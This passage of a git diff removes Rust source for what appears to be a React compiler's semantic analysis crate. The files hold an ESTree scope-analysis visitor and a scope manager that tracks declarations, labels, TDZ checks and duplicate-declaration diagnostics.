-            .node_scopes
-            .insert(AstNode::from(function), self.current);
-    }
-
-    fn visit_class<T: IntoClass>(&mut self, node: &T) {
-        assert_eq!(self.manager.scope(self.current).kind, ScopeKind::Class);
-        let class = node.class();
-        if let Some(super_class) = &class.super_class {
-            self.visit_expression(super_class);
-        }
-
-        self.visit_class_body(&class.body);
-        self.manager
-            .node_scopes
-            .insert(AstNode::from(class), self.current);
-    }
-
-    fn visit_reference_identifier(
-        &mut self,
-        name: &str,
-        ast: AstNode,
-        kind: ReferenceKind,
-        range: Option<SourceRange>,
-    ) {
-        self.unresolved.push(UnresolvedReference {
-            scope: self.current,
-            ast,
-            name: name.to_string(),
-            kind,
-            range,
-            next_declaration: self.manager.next_declaration_id(),
-        });
-    }
-
-    fn visit_declaration_identifier(
-        &mut self,
-        ast: &Identifier,
-        decl_kind: Option<DeclarationKind>,
-    ) {
-        if let Some(decl_kind) = decl_kind {
-            let id =
-                self.manager
-                    .add_declaration(self.current, ast.name.clone(), decl_kind, ast.range);
-            self.manager
-                .node_declarations
-                .insert(AstNode::from(ast), id);
-        } else {
-            // Re-assigning a variable
-            self.unresolved.push(UnresolvedReference {
-                scope: self.current,
-                ast: AstNode::from(ast),
-                name: ast.name.to_string(),
-                kind: ReferenceKind::Write,
-                range: ast.range,
-                next_declaration: self.manager.next_declaration_id(),
-            });
-        }
-    }
-
-    fn visit_declaration_pattern(&mut self, ast: &Pattern, decl_kind: Option<DeclarationKind>) {
-        match ast {
-            Pattern::Identifier(ast) => {
-                self.visit_declaration_identifier(ast, decl_kind);
-            }
-            Pattern::ArrayPattern(ast) => {
-                for pat in &ast.elements {
-                    if let Some(pat) = pat {
-                        self.visit_declaration_pattern(pat, decl_kind);
-                    }
-                }
-            }
-            Pattern::ObjectPattern(ast) => {
-                for property in &ast.properties {
-                    match property {
-                        AssignmentPropertyOrRestElement::AssignmentProperty(property) => {
-                            if property.is_computed {
-                                self.visit_expression(&property.key);
-                            }
-                            self.visit_declaration_pattern(&property.value, decl_kind);
-                        }
-                        AssignmentPropertyOrRestElement::RestElement(property) => {
-                            self.visit_declaration_pattern(&property.argument, decl_kind);
-                        }
-                    }
-                }
-            }
-            Pattern::RestElement(ast) => {
-                self.visit_declaration_pattern(&ast.argument, decl_kind);
-            }
-            Pattern::AssignmentPattern(ast) => {
-                self.visit_expression(&ast.right);
-                self.visit_declaration_pattern(&ast.left, decl_kind);
-            }
-        }
-    }
-
-    fn visit_for_in_of(
-        &mut self,
-        ast: AstNode,
-        left: &ForInInit,
-        right: &Expression,
-        body: &Statement,
-        _range: Option<SourceRange>,
-    ) {
-        let mut for_scope: Option<ScopeId> = None;
-        match left {
-            ForInInit::VariableDeclaration(left) => {
-                if left.kind != VariableDeclarationKind::Var {
-                    for_scope = Some(self.enter_scope(ScopeKind::For));
-                }
-                self.visit_variable_declaration(left);
-            }
-            ForInInit::Pattern(left) => {
-                Analyzer::visit_declaration_pattern(self, left, None);
-            }
-        }
-        self.visit_expression(right);
-        let id = self
-            .manager
-            .add_anonymous_label(self.current, LabelKind::Loop);
-        self.manager.node_labels.insert(ast, id);
-        self.enter_label(id, |visitor| {
-            visitor.visit_statement(body);
-        });
-        if let Some(for_scope) = for_scope {
-            self.close_scope(for_scope);
-        }
-    }
-}
-
-impl Visitor for Analyzer {
-    fn visit_import_declaration_specifier(
-        &mut self,
-        ast: &react_estree::ImportDeclarationSpecifier,
-    ) {
-        let kind = self.manager.scope(self.current).kind;
-        if kind != ScopeKind::Module {
-            self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                "`import` declarations are only allowed at the top-level of a module",
-                ast.range(),
-            ))
-        }
-        match ast {
-            ImportDeclarationSpecifier::ImportDefaultSpecifier(specifier) => {
-                Analyzer::visit_declaration_identifier(
-                    self,
-                    &specifier.local,
-                    Some(DeclarationKind::Import),
-                );
-            }
-            ImportDeclarationSpecifier::ImportSpecifier(specifier) => {
-                // note: ignore the `imported` identifier
-                Analyzer::visit_declaration_identifier(
-                    self,
-                    &specifier.local,
-                    Some(DeclarationKind::Import),
-                );
-            }
-            ImportDeclarationSpecifier::ImportNamespaceSpecifier(specifier) => {
-                Analyzer::visit_declaration_identifier(
-                    self,
-                    &specifier.local,
-                    Some(DeclarationKind::Import),
-                );
-            }
-        }
-    }
-
-    fn visit_class_declaration(&mut self, ast: &react_estree::ClassDeclaration) {
-        if let Some(id) = &ast.class.id {
-            let declaration = self.manager.add_declaration(
-                self.current,
-                id.name.clone(),
-                DeclarationKind::Class,
-                id.range,
-            );
-            self.manager
-                .node_declarations
-                .insert(AstNode::from(id), declaration);
-        }
-        self.enter(ScopeKind::Class, |visitor| {
-            Analyzer::visit_class(visitor, ast);
-        });
-    }
-
-    fn visit_class_expression(&mut self, ast: &react_estree::ClassExpression) {
-        self.enter(ScopeKind::Class, |visitor| {
-            if let Some(id) = &ast.class.id {
-                let declaration = visitor.manager.add_declaration(
-                    visitor.current,
-                    id.name.clone(),
-                    DeclarationKind::Function,
-                    id.range,
-                );
-                visitor
-                    .manager
-                    .node_declarations
-                    .insert(AstNode::from(id), declaration);
-            }
-
-            Analyzer::visit_class(visitor, ast);
-        });
-    }
-
-    fn visit_class_property(&mut self, ast: &react_estree::ClassProperty) {
-        // Static (non-computed) property names do not introduce a new identifier
-        // into any scope
-        if ast.is_computed {
-            self.visit_expression(&ast.key);
-        }
-        if let Some(value) = &ast.value {
-            self.visit_expression(value)
-        }
-    }
-
-    fn visit_class_private_property(&mut self, ast: &react_estree::ClassPrivateProperty) {
-        // Static (non-computed) property names do not introduce a new identifier
-        // into any scope
-        match &ast.key {
-            ExpressionOrPrivateIdentifier::Expression(key) => {
-                self.visit_expression(key);
-            }
-            ExpressionOrPrivateIdentifier::PrivateIdentifier(_)
-            | ExpressionOrPrivateIdentifier::PrivateName(_) => { /* no-op */ }
-        }
-        if let Some(value) = &ast.value {
-            self.visit_expression(value)
-        }
-    }
-
-    fn visit_static_block(&mut self, ast: &react_estree::StaticBlock) {
-        self.enter(ScopeKind::StaticBlock, |visitor| {
-            for statement in &ast.body {
-                visitor.visit_statement(statement);
-            }
-        });
-    }
-
-    fn visit_method_definition(&mut self, ast: &react_estree::MethodDefinition) {
-        // Static (non-computed) method names do not introduce a new identifier
-        // into any scope
-        if ast.is_computed {
-            self.visit_expression(&ast.key)
-        }
-        self.visit_function_expression(&ast.value);
-    }
-
-    fn visit_function_declaration(&mut self, ast: &react_estree::FunctionDeclaration) {
-        if let Some(id) = &ast.function.id {
-            let declaration = self.manager.add_declaration(
-                self.current,
-                id.name.clone(),
-                DeclarationKind::Function,
-                id.range,
-            );
-            self.manager
-                .node_declarations
-                .insert(AstNode::from(id), declaration);
-        }
-        self.enter(ScopeKind::Function, |visitor| {
-            Analyzer::visit_function(visitor, ast);
-        });
-    }
-
-    fn visit_function_expression(&mut self, ast: &react_estree::FunctionExpression) {
-        self.enter(ScopeKind::Function, |visitor| {
-            if let Some(id) = &ast.function.id {
-                let declaration = visitor.manager.add_declaration(
-                    visitor.current,
-                    id.name.clone(),
-                    DeclarationKind::Function,
-                    id.range,
-                );
-                visitor
-                    .manager
-                    .node_declarations
-                    .insert(AstNode::from(id), declaration);
-            }
-
-            Analyzer::visit_function(visitor, ast);
-        });
-    }
-
-    fn visit_arrow_function_expression(&mut self, ast: &react_estree::ArrowFunctionExpression) {
-        self.enter(ScopeKind::Function, |visitor| {
-            Analyzer::visit_function(visitor, ast);
-        });
-    }
-
-    fn visit_assignment_expression(&mut self, ast: &react_estree::AssignmentExpression) {
-        if ast.operator == AssignmentOperator::Equals {
-            // "=" operator is a reassignment, straightforward
-            match &ast.left {
-                AssignmentTarget::Pattern(left) => {
-                    Analyzer::visit_declaration_pattern(self, left, None);
-                }
-                AssignmentTarget::Expression(left) => match left {
-                    Expression::MemberExpression(left) => {
-                        let mut current = left;
-                        // If this is a chain of member expressions, find the innermost .object
-                        // If that's an identifier, record it as a Read.
-                        // Technically we could probably just visit .object normally,
-                        // but in case we want to change the Read to something else we do this
-                        // expansion.
-                        // TODO: revisit and maybe revert this to just visit ast.left normally
-                        loop {
-                            if current.is_computed {
-                                self.visit_expression_or_private_identifier(&current.property);
-                            }
-                            match &current.object {
-                                ExpressionOrSuper::Expression(object) => match object {
-                                    Expression::MemberExpression(object) => {
-                                        current = object;
-                                    }
-                                    Expression::Identifier(object) => {
-                                        Analyzer::visit_reference_identifier(
-                                            self,
-                                            &object.name,
-                                            AstNode::from(object.as_ref()),
-                                            ReferenceKind::Read,
-                                            object.range,
-                                        );
-                                        break;
-                                    }
-                                    _ => {
-                                        self.visit_expression(object);
-                                        break;
-                                    }
-                                },
-                                ExpressionOrSuper::Super(object) => {
-                                    self.visit_super(object);
-                                    break;
-                                }
-                            }
-                        }
-                    }
-                    _ => {
-                        self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                            "Invalid AssignmentExpression, expected left-hand side to be a Pattern or MemberExpression",
-                            ast.range
-                        ));
-                    }
-                },
-            }
-            self.visit_expression(&ast.right);
-        } else {
-            // otherwise this is a update operator which reads and updates the value.
-            // the left-hand side must be an identifier, which is a ReadWrite reference.
-            let left: &Identifier;
-            if let AssignmentTarget::Pattern(pat) = &ast.left {
-                if let Pattern::Identifier(pat) = pat {
-                    left = pat;
-                } else {
-                    self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                        "Expected AssignmentExpression.left to be an Identifier when using operator {}",
-                        pat.range()
-                    ));
-                    // Visit the right-hand side anyway to find any errors there
-                    self.visit_expression(&ast.right);
-                    return;
-                }
-            } else {
-                self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                    "Expected AssignmentExpression.left to be an Identifier when using operator {}",
-                    ast.range,
-                ));
-                // Visit the right-hand side anyway to find any errors there
-                self.visit_expression(&ast.right);
-                return;
-            }
-            Analyzer::visit_reference_identifier(
-                self,
-                &left.name,
-                AstNode::from(left),
-                ReferenceKind::ReadWrite,
-                left.range,
-            );
-            self.visit_expression(&ast.right);
-        }
-    }
-
-    fn visit_block_statement(&mut self, ast: &react_estree::BlockStatement) {
-        // Block statements create a new scope. In cases where we want to avoid
-        // the new scope, such as function declarations, we avoid calling this
-        // method and visit the block contents directly.
-        self.enter(ScopeKind::Block, |visitor| {
-            for stmt in &ast.body {
-                visitor.visit_statement(stmt);
-            }
-        });
-    }
-
-    fn visit_break_statement(&mut self, ast: &react_estree::BreakStatement) {
-        if let Some(label) = self.lookup_break(ast.label.as_ref().map(|ident| ident.name.as_str()))
-        {
-            let id = label.id;
-            self.manager.node_labels.insert(AstNode::from(ast), id);
-            if let Some(label_node) = &ast.label {
-                self.manager
-                    .node_labels
-                    .insert(AstNode::from(label_node), id);
-            }
-        } else {
-            self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                "Non-syntactic break, could not resolve break target",
-                ast.range,
-            ));
-        }
-    }
-
-    fn visit_catch_clause(&mut self, ast: &react_estree::CatchClause) {
-        // If a catch clause has a param for the value being caught, then
-        // a new scope is created for that param.
-        if let Some(param) = &ast.param {
-            self.enter(ScopeKind::CatchClause, |visitor| {
-                Analyzer::visit_declaration_pattern(
-                    visitor,
-                    param,
-                    Some(DeclarationKind::CatchClause),
-                );
-                visitor.visit_block_statement(&ast.body);
-            });
-        } else {
-            self.visit_block_statement(&ast.body);
-        }
-    }
-
-    fn visit_continue_statement(&mut self, ast: &react_estree::ContinueStatement) {
-        let range = ast
-            .label
-            .as_ref()
-            .map(|label| label.range)
-            .unwrap_or(ast.range);
-        if let Some(label) =
-            self.lookup_continue(ast.label.as_ref().map(|ident| ident.name.as_str()))
-        {
-            let id = label.id;
-            if label.kind != LabelKind::Loop {
-                self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                    "Invalid continue statement, the named label must be for a loop",
-                    range,
-                ));
-            }
-            self.manager.node_labels.insert(AstNode::from(ast), id);
-            if let Some(label_node) = &ast.label {
-                self.manager
-                    .node_labels
-                    .insert(AstNode::from(label_node), id);
-            }
-        } else {
-            self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                "Non-syntactic continue, could not resolve continue target",
-                range,
-            ));
-        }
-    }
-
-    fn visit_for_in_statement(&mut self, ast: &react_estree::ForInStatement) {
-        Analyzer::visit_for_in_of(
-            self,
-            AstNode::from(ast),
-            &ast.left,
-            &ast.right,
-            &ast.body,
-            ast.range,
-        );
-    }
-
-    fn visit_for_of_statement(&mut self, ast: &react_estree::ForOfStatement) {
-        Analyzer::visit_for_in_of(
-            self,
-            AstNode::from(ast),
-            &ast.left,
-            &ast.right,
-            &ast.body,
-            ast.range,
-        );
-    }
-
-    fn visit_for_statement(&mut self, ast: &react_estree::ForStatement) {
-        let mut for_scope: Option<ScopeId> = None;
-        if let Some(init) = &ast.init {
-            if let ForInit::VariableDeclaration(init) = init {
-                if init.kind != VariableDeclarationKind::Var {
-                    for_scope = Some(self.enter_scope(ScopeKind::For));
-                }
-            }
-        }
-        if let Some(init) = &ast.init {
-            self.visit_for_init(init);
-        }
-        if let Some(test) = &ast.test {
-            self.visit_expression(test);
-        }
-        if let Some(update) = &ast.update {
-            self.visit_expression(update);
-        }
-        let id = self
-            .manager
-            .add_anonymous_label(self.current, LabelKind::Loop);
-        self.manager.node_labels.insert(AstNode::from(ast), id);
-        self.enter_label(id, |visitor| {
-            visitor.visit_statement(&ast.body);
-        });
-        if let Some(for_scope) = for_scope {
-            self.close_scope(for_scope);
-        }
-    }
-
-    fn visit_identifier(&mut self, ast: &react_estree::Identifier) {
-        // `Identifier` is tricky in ESTree, because the same node type is used
-        // for places that reference variables as those that are string names:
-        // `x` is an Identifier, but so is the "y" in `x.y`.
-        // We're careful to skip visiting any Identifier that is not a variable
-        // reference, such that if we reach here it *should* be a variable
-        // reference. We also take a different path for variable assignment so
-        // that this must be a variable read.
-        Analyzer::visit_reference_identifier(
-            self,
-            &ast.name,
-            AstNode::from(ast),
-            ReferenceKind::Read,
-            ast.range,
-        );
-    }
-
-    fn visit_labeled_statement(&mut self, ast: &react_estree::LabeledStatement) {
-        let body = &ast.body;
-        let kind = match body {
-            Statement::ForStatement(_)
-            | Statement::ForInStatement(_)
-            | Statement::ForOfStatement(_)
-            | Statement::WhileStatement(_)
-            | Statement::DoWhileStatement(_) => LabelKind::Loop,
-            _ => LabelKind::Other,
-        };
-        let id = self
-            .manager
-            .add_label(self.current, kind, ast.label.name.clone());
-        self.manager.node_labels.insert(AstNode::from(ast), id);
-        self.enter_label(id, |visitor| {
-            visitor.visit_statement(body);
-        })
-    }
-
-    fn visit_member_expression(&mut self, ast: &react_estree::MemberExpression) {
-        self.visit_expression_or_super(&ast.object);
-        if ast.is_computed {
-            self.visit_expression_or_private_identifier(&ast.property);
-        }
-    }
-
-    fn visit_meta_property(&mut self, _ast: &react_estree::MetaProperty) {
-        // no-op, these are all builtins
-    }
-
-    fn visit_private_identifier(&mut self, _ast: &react_estree::PrivateIdentifier) {
-        // no-op, these refere to class properties
-    }
-
-    fn visit_private_name(&mut self, _ast: &react_estree::PrivateName) {
-        // no-op, these refere to class properties
-    }
-
-    fn visit_pattern(&mut self, _ast: &Pattern) {
-        // This is an internal compiler error: all paths to a `Pattern` node should have been
-        // covered such that this is unreachable:
-        // - VariableDeclaration
-        // - AssignmentExpression
-        // - CatchClause
-        unreachable!(
-            "visit_pattern should not be called directly, call Analyzer::visit_declaration_pattern() instead"
-        )
-    }
-
-    fn visit_property(&mut self, ast: &react_estree::Property) {
-        if ast.is_computed {
-            self.visit_expression(&ast.key);
-        }
-        self.visit_expression(&ast.value);
-    }
-
-    fn visit_switch_statement(&mut self, ast: &react_estree::SwitchStatement) {
-        self.visit_expression(&ast.discriminant);
-        let id = self
-            .manager
-            .add_anonymous_label(self.current, LabelKind::Other);
-        self.manager.node_labels.insert(AstNode::from(ast), id);
-        self.enter_label(id, |visitor| {
-            visitor.enter(ScopeKind::Switch, |visitor| {
-                for case_ in &ast.cases {
-                    visitor.visit_switch_case(case_);
-                }
-            });
-        });
-    }
-
-    fn visit_variable_declaration(&mut self, ast: &react_estree::VariableDeclaration) {
-        let kind = ast.kind;
-        for declaration in &ast.declarations {
-            Analyzer::visit_declaration_pattern(self, &declaration.id, Some(kind.into()));
-            if let Some(init) = &declaration.init {
-                self.visit_expression(init);
-            }
-        }
-    }
-
-    fn visit_jsxattribute(&mut self, ast: &react_estree::JSXAttribute) {
-        // NOTE: skip visiting the attribute name, attributes are like non-computed
-        // object properties where the identifier is not a variable reference
-        if let Some(value) = &ast.value {
-            self.visit_jsxattribute_value(value);
-        }
-    }
-
-    fn visit_jsxclosing_element(&mut self, _ast: &react_estree::JSXClosingElement) {
-        // no-op, should not be counted as a reference
-    }
-
-    fn visit_jsxidentifier(&mut self, ast: &react_estree::JSXIdentifier) {
-        Analyzer::visit_reference_identifier(
-            self,
-            &ast.name,
-            AstNode::from(ast),
-            ReferenceKind::Read,
-            ast.range,
-        );
-    }
-
-    fn visit_jsxfragment(&mut self, ast: &react_estree::JSXFragment) {
-        // TODO: record the pragmas
-        for child in &ast.children {
-            self.visit_jsxchild_item(child);
-        }
-    }
-
-    fn visit_jsxmember_expression(&mut self, ast: &react_estree::JSXMemberExpression) {
-        // NOTE: ignore the 'property' since JSX doesn't support computed properties
-        self.visit_jsxmember_expression_or_identifier(&ast.object);
-    }
-
-    fn visit_jsxnamespaced_name(&mut self, ast: &react_estree::JSXNamespacedName) {
-        // NOTE: ignore the 'name' since it doesn't refer to a variable
-        self.visit_jsxidentifier(&ast.namespace);
-    }
-
-    fn visit_jsxopening_element(&mut self, ast: &react_estree::JSXOpeningElement) {
-        // TODO: record jsx pragma if root_name is not an FBT name
-        let root_name = ast.name.root_name();
-
-        match &ast.name {
-            JSXElementName::JSXIdentifier(name) => {
-                // lowercase names are builtins, only visit if this is a user-defined
-                // component
-                if let Some(first) = root_name.chars().next() {
-                    if first == first.to_ascii_uppercase() {
-                        self.visit_jsxidentifier(name);
-                    }
-                } else {
-                    // TODO: this likely indicates a parse error, since a valid parse
-                    // should never result in an empty JSXIdentifier node. but just in
-                    // case we report this rather than silently fail
-                    self.manager.diagnostics.push(Diagnostic::invalid_syntax(
-                        "Expected JSXOpeningElement.name to be non-empty",
-                        name.range,
-                    ));
-                }
-            }
-            JSXElementName::JSXMemberExpression(name) => {
-                if root_name != "this" {
-                    self.visit_jsxmember_expression(name);
-                }
-            }
-            JSXElementName::JSXNamespacedName(name) => {
-                if root_name != "this" {
-                    self.visit_jsxnamespaced_name(name);
-                }
-            }
-        }
-
-        for attribute in &ast.attributes {
-            self.visit_jsxattribute_or_spread(attribute);
-        }
-    }
-}
diff --git a/compiler/crates/react_semantic_analysis/src/lib.rs b/compiler/crates/react_semantic_analysis/src/lib.rs
deleted file mode 100644
index 4473687914af..000000000000
--- a/compiler/crates/react_semantic_analysis/src/lib.rs
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod analyzer;
-mod scope_manager;
-mod scope_view;
-
-pub use analyzer::*;
-pub use scope_manager::*;
-pub use scope_view::*;
diff --git a/compiler/crates/react_semantic_analysis/src/scope_manager.rs b/compiler/crates/react_semantic_analysis/src/scope_manager.rs
deleted file mode 100644
index 075acf6f3492..000000000000
--- a/compiler/crates/react_semantic_analysis/src/scope_manager.rs
+++ /dev/null
@@ -1,560 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-use indexmap::IndexMap;
-use react_diagnostics::Diagnostic;
-use react_estree::{
-    BreakStatement, ContinueStatement, ESTreeNode, LabeledStatement, SourceRange, SourceType,
-    VariableDeclarationKind,
-};
-use react_utils::PointerAddress;
-
-use crate::scope_view::{DeclarationView, ReferenceView, ScopeView};
-use crate::ScopeManagerView;
-
-pub struct ScopeManager {
-    root: ScopeId,
-    globals: IndexMap<String, DeclarationId>,
-
-    // Storage of the semantic information
-    scopes: Vec<Scope>,
-    labels: Vec<Label>,
-    declarations: Vec<Declaration>,
-    references: Vec<Reference>,
-
-    // Mapping of AST nodes (by pointer address) to semantic information
-    // Not all nodes will have all types of information available
-    pub(crate) node_scopes: IndexMap<AstNode, ScopeId>,
-    pub(crate) node_labels: IndexMap<AstNode, LabelId>,
-    pub(crate) node_declarations: IndexMap<AstNode, DeclarationId>,
-    pub(crate) node_references: IndexMap<AstNode, ReferenceId>,
-    pub(crate) diagnostics: Vec<Diagnostic>,
-}
-
-impl std::fmt::Debug for ScopeManager {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        std::fmt::Debug::fmt(&self.debug(), f)
-    }
-}
-
-impl ScopeManager {
-    pub(crate) fn new(source_type: SourceType, globals: Vec<String>) -> Self {
-        let root_id = ScopeId(0);
-        let root_kind = match source_type {
-            SourceType::Module => ScopeKind::Module,
-            SourceType::Script => ScopeKind::Global,
-        };
-        let mut manager = Self {
-            root: root_id,
-            globals: IndexMap::with_capacity(globals.len()),
-            scopes: vec![Scope {
-                id: root_id,
-                kind: root_kind,
-                parent: None,
-                declarations: Default::default(),
-                references: Default::default(),
-                children: Default::default(),
-            }],
-            labels: Default::default(),
-            declarations: Default::default(),
-            references: Default::default(),
-            node_scopes: Default::default(),
-            node_labels: Default::default(),
-            node_declarations: Default::default(),
-            node_references: Default::default(),
-            diagnostics: Default::default(),
-        };
-        for global in globals {
-            let id = DeclarationId(manager.declarations.len());
-            manager.globals.insert(global.clone(), id);
-            manager.declarations.push(Declaration {
-                id,
-                kind: DeclarationKind::Global,
-                name: global,
-                scope: manager.root,
-            });
-        }
-
-        manager
-    }
-
-    pub fn debug(&self) -> ScopeManagerView<'_> {
-        ScopeManagerView { manager: self }
-    }
-
-    pub fn diagnostics(&mut self) -> Vec<Diagnostic> {
-        std::mem::take(&mut self.diagnostics)
-    }
-
-    pub fn globals(&self) -> impl Iterator<Item = (&String, &DeclarationId)> {
-        self.globals.iter()
-    }
-
-    pub fn root(&self) -> &Scope {
-        &self.scopes[self.root.0]
-    }
-
-    pub fn scope(&self, id: ScopeId) -> &Scope {
-        &self.scopes[id.0]
-    }
-
-    pub fn mut_scope(&mut self, id: ScopeId) -> &mut Scope {
-        &mut self.scopes[id.0]
-    }
-
-    pub fn is_descendant_of(&self, maybe_descendant: ScopeId, maybe_ancestor: ScopeId) -> bool {
-        let mut current = maybe_descendant;
-        loop {
-            if current == maybe_ancestor {
-                return true;
-            }
-            let scope = self.scope(current);
-            if let Some(parent) = scope.parent {
-                current = parent;
-            } else {
-                return false;
-            }
-        }
-    }
-
-    pub fn label(&self, id: LabelId) -> &Label {
-        &self.labels[id.0]
-    }
-
-    pub fn declaration(&self, id: DeclarationId) -> &Declaration {
-        &self.declarations[id.0]
-    }
-
-    pub fn reference(&self, id: ReferenceId) -> &Reference {
-        &self.references[id.0]
-    }
-
-    pub fn node_scope<T: ESTreeNode>(&self, node: &T) -> Option<&Scope> {
-        self.node_scopes
-            .get(&AstNode::from(node))
-            .map(|id| &self.scopes[id.0])
-    }
-
-    pub fn node_scope_view<T: ESTreeNode>(&self, node: &T) -> Option<ScopeView<'_>> {
-        self.node_scopes
-            .get(&AstNode::from(node))
-            .map(|id| ScopeView {
-                manager: self,
-                scope: &self.scopes[id.0],
-            })
-    }
-
-    pub fn node_label(&self, node: &LabeledStatement) -> Option<&Label> {
-        self.node_labels
-            .get(&AstNode::from(node))
-            .map(|id| &self.labels[id.0])
-    }
-
-    pub fn break_label(&self, node: &BreakStatement) -> Option<&Label> {
-        self.node_labels
-            .get(&AstNode::from(node))
-            .map(|id| &self.labels[id.0])
-    }
-
-    pub fn continue_label(&self, node: &ContinueStatement) -> Option<&Label> {
-        self.node_labels
-            .get(&AstNode::from(node))
-            .map(|id| &self.labels[id.0])
-    }
-
-    pub fn node_declaration<T: ESTreeNode>(&self, node: &T) -> Option<&Declaration> {
-        self.node_declarations
-            .get(&AstNode::from(node))
-            .map(|id| &self.declarations[id.0])
-    }
-
-    pub fn node_declaration_view<T: ESTreeNode>(&self, node: &T) -> Option<DeclarationView<'_>> {
-        self.node_declarations
-            .get(&AstNode::from(node))
-            .map(|id| DeclarationView {
-                manager: self,
-                declaration: &self.declarations[id.0],
-            })
-    }
-
-    pub fn node_reference<T: ESTreeNode>(&self, node: &T) -> Option<&Reference> {
-        self.node_references
-            .get(&AstNode::from(node))
-            .map(|id| &self.references[id.0])
-    }
-
-    pub fn node_reference_view<T: ESTreeNode>(&self, node: &T) -> Option<ReferenceView<'_>> {
-        self.node_references
-            .get(&AstNode::from(node))
-            .map(|id| ReferenceView {
-                manager: self,
-                reference: &self.references[id.0],
-            })
-    }
-
-    pub fn lookup_reference(
-        &self,
-        scope: ScopeId,
-        name: &str,
-        next_declaration: DeclarationId,
-    ) -> Option<&Declaration> {
-        let mut current = &self.scopes[scope.0];
-        let mut tdz_limit = Some(next_declaration);
-        loop {
-            if let Some(id) = current.declarations.get(name) {
-                let declaration = self.declaration(*id);
-
-                // Basic static check for TDZ violations. If there is still a
-                // tdz limit (see below where we reset when leaving function scopes)
-                // then we check if the declaration is let/const and came after the
-                // reference. If so it's a TDZ violation
-                if let Some(tdz_limit) = tdz_limit {
-                    if (declaration.kind == DeclarationKind::Let
-                        || declaration.kind == DeclarationKind::Const)
-                        && id.0 >= tdz_limit.0
-                    {
-                        return None;
-                    }
-                }
-                return Some(declaration);
-            }
-            if let Some(parent) = current.parent {
-                // When leaving a function scope, clear the tdz limit.
-                // This means we won't report TDZ violations for references
-                // inside functions to hoisted let/const variables defined
-                // outside the function
-                if current.kind == ScopeKind::Function {
-                    tdz_limit = None;
-                }
-                current = &self.scopes[parent.0];
-            } else {
-                // Maybe it's a global!
-                if let Some(id) = self.globals.get(name) {
-                    let declaration = self.declaration(*id);
-                    return Some(declaration);
-                }
-                return None;
-            }
-        }
-    }
-
-    pub(crate) fn root_id(&self) -> ScopeId {
-        self.root
-    }
-
-    pub(crate) fn add_scope(&mut self, parent: ScopeId, kind: ScopeKind) -> ScopeId {
-        let id = ScopeId(self.scopes.len());
-        self.scopes.push(Scope {
-            id,
-            kind,
-            parent: Some(parent),
-            declarations: Default::default(),
-            references: Default::default(),
-            children: Default::default(),
-        });
-        self.scopes[parent.0].children.push(id);
-        id
-    }
-
-    pub(crate) fn add_label(&mut self, scope: ScopeId, kind: LabelKind, name: String) -> LabelId {
-        let id = LabelId(self.labels.len());
-        self.labels.push(Label {
-            id,
-            kind,
-            scope,
-            name: Some(name),
-        });
-        id
-    }
-
-    pub(crate) fn add_anonymous_label(&mut self, scope: ScopeId, kind: LabelKind) -> LabelId {
-        let id = LabelId(self.labels.len());
-        self.labels.push(Label {
-            id,
-            kind,
-            scope,
-            name: None,
-        });
-        id
-    }
-
-    pub(crate) fn add_declaration(
-        &mut self,
-        scope_id: ScopeId,
-        name: String,
-        kind: DeclarationKind,
-        range: Option<SourceRange>,
-    ) -> DeclarationId {
-        let scope = self.scope(scope_id);
-        // Determine the scope to which this declaration should be hoisted. This mainly applies to var declarations
-        let hoisted_scope_id = self.get_scope_for_declaration(scope_id, kind);
-
-        // Check for redeclaration. The rules are roughly:
-        // * `var` can be redeclared any number of times in a given scope. These redeclarations have no effect,
-        //    subsequent declarations are equivalent to just reassigning a value to the original declaration.
-        //    ie `var a = 1; var a = 2;` is equivalent to `var a; a = 1; a = 2`.
-        // * Other forms (in strict mode) may not be redeclared in a given scope.
-        // * This implies that `var` cannot conflict with other types of declarations, either in the scope
-        //   at which they are declared or the scope to which the var will hoist:
-        //   * `function() { {let a; var a;} }` conflicts at the declaration scope, even though the var will hoise above.
-        //   * `function() { let a; { var a; } }` conflicts bc the var hoists to the scope w a conflicting let.
-        match kind {
-            DeclarationKind::Var => {
-                if let Some(declaration) = scope.declarations.get(&name) {
-                    let declaration = self.declaration(*declaration);
-                    if is_block_scoped_declaration(declaration.kind) {
-                        // Var cannot be declared in the same scope as let/const/class/import/etc
-                        self.diagnostics
-                            .push(Diagnostic::invalid_syntax("Duplicate declaration", range));
-                    }
-                } else if hoisted_scope_id != scope_id {
-                    if let Some(declaration) = self.scope(hoisted_scope_id).declarations.get(&name)
-                    {
-                        let declaration = self.declaration(*declaration);
-                        if is_block_scoped_declaration(declaration.kind) {
-                            // Var cannot *hoist* to the same scope as let/const/class/import/etc
-                            self.diagnostics
-                                .push(Diagnostic::invalid_syntax("Duplicate declaration", range));
-                        }
-                    }
-                }
-                // Redeclaration of `var` in a given scope has no effect, subsequent declarations
-                // are equivalent to re-declarations
-                // ie `var a = 1; var a = 2;` is equivalent to `var a; a = 1; a = 2`.
-                // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#redeclarations
-                if let Some(declaration) = self.scope(hoisted_scope_id).declarations.get(&name) {
-                    let declaration = self.declaration(*declaration);
-                    if declaration.kind == DeclarationKind::Var {
-                        return declaration.id;
-                    }
-                }
-            }
-            DeclarationKind::CatchClause
-            | DeclarationKind::Let
-            | DeclarationKind::Const
-            | DeclarationKind::Import
-            | DeclarationKind::Class
-            | DeclarationKind::Function => {
-                // When duplicate declarations occur we report an error and then resolve references to the
-                // first declaration. It doesn't really matter which declaration we refer to, because
-                // semantic results are invalid if there are errors. The main consideration is that we do
-                // not want to report a "cannot find declaration for `x`" reference error just because there
-                // were duplicate declarations of `x`.
-                if let Some(_declaration) = scope.declarations.get(&name) {
-                    self.diagnostics
-                        .push(Diagnostic::invalid_syntax("Duplicate declaration", range));
-                }
-            }
-            DeclarationKind::Global => {
-                unreachable!("Unexpected explicit declaration of global")
-            }
-        }
-
